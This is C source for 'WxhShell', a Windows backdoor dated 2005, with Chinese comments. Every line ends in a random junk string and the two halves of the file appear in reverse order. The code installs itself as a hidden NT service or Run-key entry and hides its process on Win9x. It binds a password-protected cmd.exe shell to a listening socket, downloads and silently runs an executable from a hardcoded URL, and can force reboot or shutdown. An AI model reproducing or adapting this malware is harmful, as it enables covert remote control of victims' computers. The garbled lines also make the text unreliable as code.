    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r[V%DU$dj  
    if(Boot(SHUTDOWN)) &5-1Cd E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F)cCaE;  
    else { Hy3J2p9.  
    closesocket(wsh); i$] :Y`3h  
    ExitThread(0); @HbRfD/!  
    } xK6`|/e  
    break; clU ?bF~e1  
    } hhPQ.{]>  
  // 获取shell e^eJ!~0  
  case 's': { t}R!i-D|HB  
    CmdShell(wsh); 8j>V?'Szk  
    closesocket(wsh); S} UYkns*  
    ExitThread(0); 1!^BcrG.  
    break; #tKks:eL  
  } :'bZ:J>f  
  // 退出 /}@F q  
  case 'x': { zY\u" '4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PFp!T [)  
    CloseIt(wsh); IQ<G .  
    break; Sk53Lc  
    } bQ>wyA+G&E  
  // 离开 %EU_OS(u.{  
  case 'q': { F8?,}5j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f0 g/`j@Up  
    closesocket(wsh); n@+?tYk*e  
    WSACleanup(); .eIs$  
    exit(1); g5|&6+t.  
    break; HVA:|Z19  
        } 7=N%$]DKZ  
  } 4C?{p%3c  
  } PJZ;wqTD_  
l\ dPfJ  
  // 提示信息 }K 'A/]'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SlB`ktcfI  
} a&G{3#l  
  } N>3{!K>/Y:  
R7rM$|n=o  
  return;  _:\rB  
} Q(<A Yu  
'G65zz  
// shell模块句柄 sBZn0h@  
int CmdShell(SOCKET sock) ?M'CTz}<\  
{ |[n\'Xy;{  
STARTUPINFO si; --y,ky#  
ZeroMemory(&si,sizeof(si)); Pa{DB?P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LIG@`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4-[U[JJc  
PROCESS_INFORMATION ProcessInfo; 5P <"I["  
char cmdline[]="cmd"; &]a(5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8US35t:M  
  return 0; Gs"lmX-{$j  
} LNJKf6:  
X$==J St  
// 自身启动模式 {P?Ge  
int StartFromService(void) VJ-t #q"  
{ Po=:-Of:  
typedef struct ,9G'1%z,  
{ xytWE:=  
  DWORD ExitStatus; agfDx ^,  
  DWORD PebBaseAddress; {G=>WAXo  
  DWORD AffinityMask; 'KmM %tN  
  DWORD BasePriority; 7|=SZ+g  
  ULONG UniqueProcessId; !Dc?9W!b  
  ULONG InheritedFromUniqueProcessId; vULDKJNHX  
}   PROCESS_BASIC_INFORMATION; xKL(:ePS  
]u|FcwWc3  
PROCNTQSIP NtQueryInformationProcess; I*U7YqDC9  
!N+{X\+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #(qvhoi7lM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @;9KP6d  
NUiv"tAY  
  HANDLE             hProcess; r^.9 |YM5  
  PROCESS_BASIC_INFORMATION pbi; o]p$ w[5  
o!h::j0,~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w$$pTk|&n  
  if(NULL == hInst ) return 0; "d/54PKWx  
T#rUbi>""  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &O+S [~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |b@`ykD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )X#$G?|Hn  
uq6>K/~D  
  if (!NtQueryInformationProcess) return 0; |7|'J Ty  
rk=w~IZJ3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OkQ< Sc   
  if(!hProcess) return 0; b/.EA' /  
=Cf@!wZ^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  XU"G  
Wx/PD=Sf&  
  CloseHandle(hProcess); *9KT@"v  
I@N/Y{y#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w@P86'< v  
if(hProcess==NULL) return 0; -GL.8" c[  
b6e 2a/x  
HMODULE hMod; HHyN\  
char procName[255]; <AVWT+,  
unsigned long cbNeeded; }6u}?>S  
'GW~~UhdW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3J4OkwqD  
uAYDX<Ja9  
  CloseHandle(hProcess); 0 Q>  
.gNJY7`b  
if(strstr(procName,"services")) return 1; // 以服务启动 :p<:0W2!  
/3 L4K  
  return 0; // 注册表启动 4UL"f<7 T  
} l-IA Q!d  
Tw/7P~*  
// 主模块 }5" Rj<  
int StartWxhshell(LPSTR lpCmdLine) ]\ZJaU80I~  
{ I7XM2xM  
  SOCKET wsl; Y]&2E/oc  
BOOL val=TRUE; A\/DAVnI  
  int port=0; Or/YEt}  
  struct sockaddr_in door; vG}\Amx+  
sWA-_4  
  if(wscfg.ws_autoins) Install(); j bOwpyH  
vEt=enQ  
port=atoi(lpCmdLine); aQWg?,Ju6  
5#_GuL%  
if(port<=0) port=wscfg.ws_port; 2MXg)GBcU>  
R,!a X"]|  
  WSADATA data; _B 4 N2t$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L eUp!  
gv jy'Rm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >0N$R|B&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L!5="s[}  
  door.sin_family = AF_INET; F ww S[ 3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sN[<{;K4  
  door.sin_port = htons(port); LD|T1 .  
*bcemH8f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ywjD.od"v  
closesocket(wsl); 4}Os>M{k  
return 1; v{SYz<(  
} tPJU,e)  
/#x0?d {5  
  if(listen(wsl,2) == INVALID_SOCKET) { ;cv\v(0  
closesocket(wsl); )1 0aDTlr  
return 1; D#ED?Lqf  
} PVq y\i  
  Wxhshell(wsl); pkIJbI{aS  
  WSACleanup(); (:# 4{C  
W}^>lM\8  
return 0; ]x_14$rk  
oe_,q&e  
} Q `h@-6N  
5zJ#d}%}S"  
// 以NT服务方式启动 [HRP&jr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xs4G#QsA J  
{ 2c9]Ja3:6  
DWORD   status = 0; L~M6 ca"  
  DWORD   specificError = 0xfffffff; Gnqun%  
(j)>npOd9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <ot%>\C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :;3y^!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FbPoyh  
  serviceStatus.dwWin32ExitCode     = 0; t-hN4WKH_A  
  serviceStatus.dwServiceSpecificExitCode = 0; !\Q/~p'jS  
  serviceStatus.dwCheckPoint       = 0; _l]rt  
  serviceStatus.dwWaitHint       = 0; W<H^V"^  
ra\2BS)X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &2Cu"O'.i  
  if (hServiceStatusHandle==0) return; wdgC{W Gl  
aj]%c_])(  
status = GetLastError(); 0 KWi<G1  
  if (status!=NO_ERROR) -QydUr/(o  
{ \xtmd[7lb<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J$Ba*`~!!  
    serviceStatus.dwCheckPoint       = 0; 4[LzjC  
    serviceStatus.dwWaitHint       = 0; L_YY,  
    serviceStatus.dwWin32ExitCode     = status; 'q*/P&x5  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1'J|yq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w5&,AL:  
    return; "j+=py`  
  } ~ @s$  
;Q8rAsf 9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +(2mHS0_a  
  serviceStatus.dwCheckPoint       = 0; 1j^FNg ~  
  serviceStatus.dwWaitHint       = 0; A|GheH!t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O7Awti-X  
} }qdGS<{  
F;dUqXUu  
// 处理NT服务事件,比如:启动、停止 \C E8S+Z%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .SSj=q4?  
{ @y\M8C8  
switch(fdwControl) J3=^ +/g  
{ \Mod4tQ  
case SERVICE_CONTROL_STOP: $zV[- d  
  serviceStatus.dwWin32ExitCode = 0; & AlX).  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a@WSIcX*W  
  serviceStatus.dwCheckPoint   = 0; 8h7z  
  serviceStatus.dwWaitHint     = 0; 0~N2MoOl^  
  { 5eSmyj-W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9G}Crp  
  } J\kv}v  
  return; "(#]H;!W  
case SERVICE_CONTROL_PAUSE: v.I>B3bEg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W 7Y5~%@  
  break; Mi"dFx^Md  
case SERVICE_CONTROL_CONTINUE: E MKv)5MH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; du4Q^-repC  
  break; KrT+Svm  
case SERVICE_CONTROL_INTERROGATE: H@,(  
  break; U.QjB0;  
}; pVm'XP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GKKf#r74  
} fg1["{\  
 snyg  
// 标准应用程序主函数 vSy#[9}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [Y]\sF;J  
{ y"SVZ} ;|  
qS|t7*  
// 获取操作系统版本 sIh,@b  
OsIsNt=GetOsVer(); +V6N/{^ 5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $n?@zd@53  
,;yiV<AD  
  // 从命令行安装  OL|UOG  
  if(strpbrk(lpCmdLine,"iI")) Install(); "(rG5z3P  
NrdbXPHceN  
  // 下载执行文件 .DSmy\FI5  
if(wscfg.ws_downexe) { L?e N(L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %<w)#eV?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ']ussFaQ  
} Cuq=>J  
?F9:rUyN  
if(!OsIsNt) { @9^ozgg  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~vIQ-|8r:  
HideProc(); (1(dL_?  
StartWxhshell(lpCmdLine); HW(cA}$  
} Q<V?rPAcx  
else  *w538Vb  
  if(StartFromService()) V '4sOn  
  // 以服务方式启动 D?3^>h  
  StartServiceCtrlDispatcher(DispatchTable); Yvu!Q  
else \j]i"LpWb  
  // 普通方式启动 0x\bDWZ_  
  StartWxhshell(lpCmdLine); gUB%6vG\I  
-&* 4~  
return 0; OXuBtW*,z+  
} q8{) 27f,  
C-abc+/  
UmSy p\i  
K$dSg1t  
=========================================== |A#pG^  
4~3 N;]X  
lXS.,#lp  
W7lR 54%|  
/MB3w m  
O!(M:.  
" ee.#Vhz  
!>{` o/dZ  
#include <stdio.h> $Aw"?&d"  
#include <string.h> 2WRa@;Tj  
#include <windows.h> .>0j<|~  
#include <winsock2.h> ,=tPh4>  
#include <winsvc.h>  3%G>TB  
#include <urlmon.h> 0m^(|=N-  
) )q4Rh  
#pragma comment (lib, "Ws2_32.lib") MV<2x7S  
#pragma comment (lib, "urlmon.lib") 1>1&NQ#}  
Ap{p_~~iJ  
#define MAX_USER   100 // 最大客户端连接数 qJb9JL$s  
#define BUF_SOCK   200 // sock buffer ruG5~dm>  
#define KEY_BUFF   255 // 输入 buffer i"~J -{d}  
 ]CD  
#define REBOOT     0   // 重启 xn'&TQo0  
#define SHUTDOWN   1   // 关机 .|Pq!uLvc  
^#T@NN0T  
#define DEF_PORT   5000 // 监听端口 @Q;%hb  
\Q"j^4   
#define REG_LEN     16   // 注册表键长度 I dsPB)k_  
#define SVC_LEN     80   // NT服务名长度 %- W3F5NK  
"/e:V-W   
// 从dll定义API z  %Ty;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /G`'9cD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3,2|8Q,((!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E({W`b~_f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9K`(Ys&  
60B6~@]P  
// wxhshell配置信息 I'Dc9&2  
struct WSCFG { l&@]   
  int ws_port;         // 监听端口 B zmmE2~*  
  char ws_passstr[REG_LEN]; // 口令 A{Jp>15AVg  
  int ws_autoins;       // 安装标记, 1=yes 0=no diF-`~  
  char ws_regname[REG_LEN]; // 注册表键名 roDE?7x1  
  char ws_svcname[REG_LEN]; // 服务名 7{%_6b"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 );o2e V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~)X yrKw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u]K&H&AxT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *w> dT  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E-Nc|A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Cku#[?G  
{k4)f ad\  
}; fk5xIW  
1 PL2[_2:  
// default Wxhshell configuration .v?x>iV  
struct WSCFG wscfg={DEF_PORT, \wR $_X&  
    "xuhuanlingzhe", WZ\bm$  
    1, A dNQS  
    "Wxhshell", LO8`qq*rq  
    "Wxhshell", SJg4P4|  
            "WxhShell Service", V(hM@ztN  
    "Wrsky Windows CmdShell Service", F7!g+LPc<  
    "Please Input Your Password: ", ,Jm2|WKH  
  1, WrB:)Q(8=  
  "http://www.wrsky.com/wxhshell.exe", iI|mFc|V  
  "Wxhshell.exe" SvZ~xTit  
    }; ^O#>LbM"x  
M3m!u[6|  
// 消息定义模块 rucgav  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TR;"&'#k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N`3q54_$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }HB>Zb5  
char *msg_ws_ext="\n\rExit."; 3q'["SS  
char *msg_ws_end="\n\rQuit."; *$K_Tii  
char *msg_ws_boot="\n\rReboot..."; b.mcP@  
char *msg_ws_poff="\n\rShutdown..."; 87; E#2  
char *msg_ws_down="\n\rSave to "; 2a=3->D&  
us j:I`>  
char *msg_ws_err="\n\rErr!"; >Q5et1c  
char *msg_ws_ok="\n\rOK!"; -|0nZ  
B bU%p  
char ExeFile[MAX_PATH]; b`a4SfbQS  
int nUser = 0; @|AHTf!  
HANDLE handles[MAX_USER]; :G3PdQb^  
int OsIsNt; BC:d@  
+rAmy  
SERVICE_STATUS       serviceStatus; -;NGS )RM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t6/w({}j  
bTBV:]w  
// 函数声明 H7{)"P]{f  
int Install(void); >6Y @8 )  
int Uninstall(void); X:N`x  
int DownloadFile(char *sURL, SOCKET wsh); WP*xu-(:  
int Boot(int flag); /\L-y,>X  
void HideProc(void); ~e|RVY,  
int GetOsVer(void); }W2FF  
int Wxhshell(SOCKET wsl); 3K;V3pJ].  
void TalkWithClient(void *cs); Db:^Omw o  
int CmdShell(SOCKET sock); kq| r6uE  
int StartFromService(void); JWZG)I]r  
int StartWxhshell(LPSTR lpCmdLine); =VC"X?N  
V{jQ=<)@e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /!7    
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b suGZ  
z) :LF<  
// 数据结构和表定义 e}f#dR+(  
SERVICE_TABLE_ENTRY DispatchTable[] = voX4A p l  
{ P 2-^j)  
{wscfg.ws_svcname, NTServiceMain}, _3Kow{y\  
{NULL, NULL} 6d7E@}<  
}; 58[=.rzD  
.rPg  
// 自我安装 xUW\P$  
int Install(void) WK2YHJ*$  
{ ={'3j  
  char svExeFile[MAX_PATH]; cn ~/P|B[  
  HKEY key; p!oO}gE  
  strcpy(svExeFile,ExeFile); 0P_=Oy"l-  
.(J~:U  
// 如果是win9x系统,修改注册表设为自启动 7)RDu,fx  
if(!OsIsNt) { \wZ 4enm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D02'P{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YCPU84f  
  RegCloseKey(key); hwx1fpo4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SEKR`2Zz,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2ezk<R5q+  
  RegCloseKey(key); nYsB^Nr6  
  return 0; /Fr*k5I  
    } Ez1-Nx  
  } ylGT9G19  
} ?^3Y+)}  
else { j.]ln}b/'+  
AU$<W"%R  
// 如果是NT以上系统,安装为系统服务 tDC?St1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); at|.Q*&a#  
if (schSCManager!=0) } yb"/jp  
{ tZXq<k9  
  SC_HANDLE schService = CreateService yac4\%ze  
  ( ;W 3#q:  
  schSCManager, + *W%4e  
  wscfg.ws_svcname, MZrLLnl6\  
  wscfg.ws_svcdisp, dz6&TdEl  
  SERVICE_ALL_ACCESS, W{$J)iQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iFOa9!_0n  
  SERVICE_AUTO_START, awU! 3)B  
  SERVICE_ERROR_NORMAL, (^HU|   
  svExeFile, ~XeWN^l(Ov  
  NULL, u+;iR/  
  NULL, 2tw3 =)  
  NULL, 9]L4`.HM  
  NULL, \? n<UsI  
  NULL u5.zckV  
  ); Leu6kPk  
  if (schService!=0) oA*88c+{f  
  { A(D>Zh6o@  
  CloseServiceHandle(schService); u?4d<%5R!  
  CloseServiceHandle(schSCManager); @?n~v^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iBPIj;,  
  strcat(svExeFile,wscfg.ws_svcname); *ZkOZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $jg~ a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]>/oo=E  
  RegCloseKey(key); H73 r3BH  
  return 0; Pk3b#$+E  
    } ^/ff)'.J  
  } 79z/(T +  
  CloseServiceHandle(schSCManager); t`- [  
} 'WNq/z"X  
} LVaJyI@/>  
v8"Zru  
return 1; z8dBfA<z  
} N0pA ,&  
;S9 z@`a.  
// 自我卸载 X Z=%XB:?  
int Uninstall(void) lqcPV) n  
{ n v ?u  
  HKEY key; bXz*g`=;  
_<6E>"*m  
if(!OsIsNt) { `l'Ine 11  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $ghlrV;:ct  
  RegDeleteValue(key,wscfg.ws_regname); b:PzqMh{G  
  RegCloseKey(key); }U^iVq*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xf;_r+;  
  RegDeleteValue(key,wscfg.ws_regname); mwMcAUD]2  
  RegCloseKey(key); jA? 7>"|  
  return 0; yR% l[/ X  
  } 6T5\zInd  
} #z61 I"kU  
} sB*!Nf^y  
else { v'Pbx  
Nh01NY;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rMoz+{1A  
if (schSCManager!=0) 58t_j54  
{ *m8{yh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $WiU oS  
  if (schService!=0) ^KJi |'B  
  { A6 I^`0/  
  if(DeleteService(schService)!=0) { zWrynJ}s  
  CloseServiceHandle(schService); Jz]OWb *  
  CloseServiceHandle(schSCManager); cK,&huk  
  return 0; t>2EZ{N +y  
  } mT>RQ.  
  CloseServiceHandle(schService); -;O"Y?ME  
  } [1l OGck[  
  CloseServiceHandle(schSCManager); _n0NE0  
} QuBA'4ht  
} RNopx3  
' ,1[rWyc  
return 1; _4 YT2k  
} ?^ R"a##  
/&E]qc*-p  
// 从指定url下载文件 Uuktq)NU  
int DownloadFile(char *sURL, SOCKET wsh) I%jlM0ZUI"  
{ ub2B!6f a  
  HRESULT hr; JkEITuTth  
char seps[]= "/"; sD9OV6^{?K  
char *token; g^{a;=  
char *file; )m I i.  
char myURL[MAX_PATH]; ,va2:V  
char myFILE[MAX_PATH]; ~uG/F?= Q:  
q#F+^)DD [  
strcpy(myURL,sURL); hT% >)71  
  token=strtok(myURL,seps); ~wu\j][2  
  while(token!=NULL) QJ%N80  
  { ^e]h\G  
    file=token; DB0?H+8t  
  token=strtok(NULL,seps); I  :8s3;  
  } im9Pjb%  
NOFH  
GetCurrentDirectory(MAX_PATH,myFILE); oz%{D@CF  
strcat(myFILE, "\\"); vCn~- Q  
strcat(myFILE, file); E;YD5^B  
  send(wsh,myFILE,strlen(myFILE),0); jw)c|%r>  
send(wsh,"...",3,0); `*xSn+wL`_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <Wd_m?z  
  if(hr==S_OK) &{bNa:@  
return 0; S rhBU6K  
else TCK#bJ  
return 1; +1a2Un  
5'[yw:P-8  
} )1g\v8XT  
$,o@&QT?AT  
// 系统电源模块 v <m=g!  
int Boot(int flag) sRQ4pnnrn  
{ '8LHX6FXK  
  HANDLE hToken; F5H]$AjW  
  TOKEN_PRIVILEGES tkp; Q6p75$SVq  
[xXV5 JU  
  if(OsIsNt) { A~;.9{6J[t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +E+I.}sOB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #dFE}!"#`  
    tkp.PrivilegeCount = 1; yQq|!'MKk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qykI[4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {>3w"(f7o  
if(flag==REBOOT) { Bw.?Me)mf|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D7Ds*X`!l  
  return 0; g(R!M0hdF  
} P!!:p2fo  
else { JHuA}f{2&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r@Xh8 r;  
  return 0; ! QKec  
} L> rW S-  
  } aW#^@||B  
  else { ]sqp^tQ`e  
if(flag==REBOOT) { qxHsmGV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -3SRGr  
  return 0; C9j5Pd5q1L  
} d 1 O+qS  
else { :eBp`dmn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \wp8kSzC  
  return 0; %1M!4**W  
} 7U - ?Rd  
} 3 =_to7]  
1#x@  
return 1; lgC^32y  
} D7C%Y^K]>E  
7H. HiyppW  
// win9x进程隐藏模块 f.RwV+lq  
void HideProc(void) 85](,YYz  
{ ze uSk| O  
 W|6.gN]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lAAPV  
  if ( hKernel != NULL ) ^3nB2G.ax  
  { 6MbMAh5>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mnH1-}oL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Ek3]`q#  
    FreeLibrary(hKernel); Ws[d.El  
  } ?e23[  
?Q6ZZQ~  
return; }9?fb[]  
} .-: 6L2  
{ZgycMS  
// 获取操作系统版本 *4 Kc "M  
int GetOsVer(void) QezDm^<  
{ !e0/1 j=  
  OSVERSIONINFO winfo; )Ju$PrO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e0<L^|S  
  GetVersionEx(&winfo); leEzfbb{'.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tUs{/Je  
  return 1; 5G#K)s(QC  
  else @TnAO8Q>XD  
  return 0; :yAvo4 )  
} `pXC= []B2  
BYs^?IfW  
// 客户端句柄模块 !B&1{  
int Wxhshell(SOCKET wsl) R(HW0@R@w  
{ po+ 1  
  SOCKET wsh; |y2cI,&   
  struct sockaddr_in client; D 3}e{J8  
  DWORD myID; |Vc:o_n7  
u=6{P(5$j  
  while(nUser<MAX_USER) g$S<_$Iey  
{ U=UnE"h  
  int nSize=sizeof(client); Xu\22/Co  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?[q.1O  
  if(wsh==INVALID_SOCKET) return 1; &?7+8n&+  
:=%`\\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B9h>  
if(handles[nUser]==0)   S?m4  
  closesocket(wsh); .:jfNp~jt  
else [u`9R<>c"U  
  nUser++; "O{:jfq  
  } w5}2$r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _:9-x;0H2  
z/7"!  
  return 0; L QP4#7  
} [es-&X07<  
yO0 9NQ 5u  
// 关闭 socket &MF%zJ6  
void CloseIt(SOCKET wsh) 5P <  F  
{ !yX4#J(  
closesocket(wsh); pmi`Er  
nUser--; x^ ]1m%  
ExitThread(0); 7ip(-0  
} ?28aEX_w  
\) T4NN  
// 客户端请求句柄 &:*|KxX  
void TalkWithClient(void *cs) NYZI;P1DA  
{ 8fs::}0  
%+Khj@aX  
  SOCKET wsh=(SOCKET)cs; }!g^}BWWp  
  char pwd[SVC_LEN]; <ba+7CK] w  
  char cmd[KEY_BUFF]; u<{uUui}$v  
char chr[1]; b."1p7'  
int i,j; VR_bX|  
jR&AQ-H&  
  while (nUser < MAX_USER) { gL;tyf1P  
c6)q(zz  
if(wscfg.ws_passstr) { sp$W=Wu7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GPnSdGLC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >P\/\xL=  
  //ZeroMemory(pwd,KEY_BUFF); ZN?UkFnE  
      i=0; ;}gS8I|  
  while(i<SVC_LEN) { tvG/oe .1'  
FqK2[]8  
  // 设置超时 ZX!u\O|w  
  fd_set FdRead; L`{EXn[  
  struct timeval TimeOut; &O.S ;b*+  
  FD_ZERO(&FdRead); v><uHjP  
  FD_SET(wsh,&FdRead); o\YF_235  
  TimeOut.tv_sec=8; nANoy6z:  
  TimeOut.tv_usec=0; gRdg3qvU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h47l;`kD-#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #0j,1NpL  
ROHr%'owgL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,4%'~8'3  
  pwd=chr[0]; yjP;o`z%  
  if(chr[0]==0xd || chr[0]==0xa) { MM%c   
  pwd=0; nf MQ3K P  
  break; 1JoRP~mMxa  
  } #5x[Z[m  
  i++; N;6WfdA-  
    } {?9s~{Dl  
! G+/8Q^  
  // 如果是非法用户,关闭 socket Q!VPk~~(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7)Rx-  
} Y-WY Q{  
-*EK-j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >_$DKY>$`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (9J,Qs[;  
#ab=]}2W_g  
while(1) { Mb(aI!;A  
N5=; PZub  
  ZeroMemory(cmd,KEY_BUFF); -3<5,Q{G+  
=/rIXReY  
      // 自动支持客户端 telnet标准   w(9.{zF|vQ  
  j=0; eOQUy +  
  while(j<KEY_BUFF) { kEE8cW3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \}e1\MiZ  
  cmd[j]=chr[0]; Oj*3'?<7=  
  if(chr[0]==0xa || chr[0]==0xd) { -)tu$W*  
  cmd[j]=0; r='"X#CmV/  
  break; dviL5Eaj  
  } O9k9hRE]z  
  j++; aMFUJrXo  
    } ~sQN\]5VW  
##!) }i  
  // 下载文件 wK CHG/W  
  if(strstr(cmd,"http://")) { y$At$i>u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XY8s\DK  
  if(DownloadFile(cmd,wsh)) \@4_l?M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5"5D(  
  else ( {H5k''  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rt<8 &.m4  
  } zZ|Si  
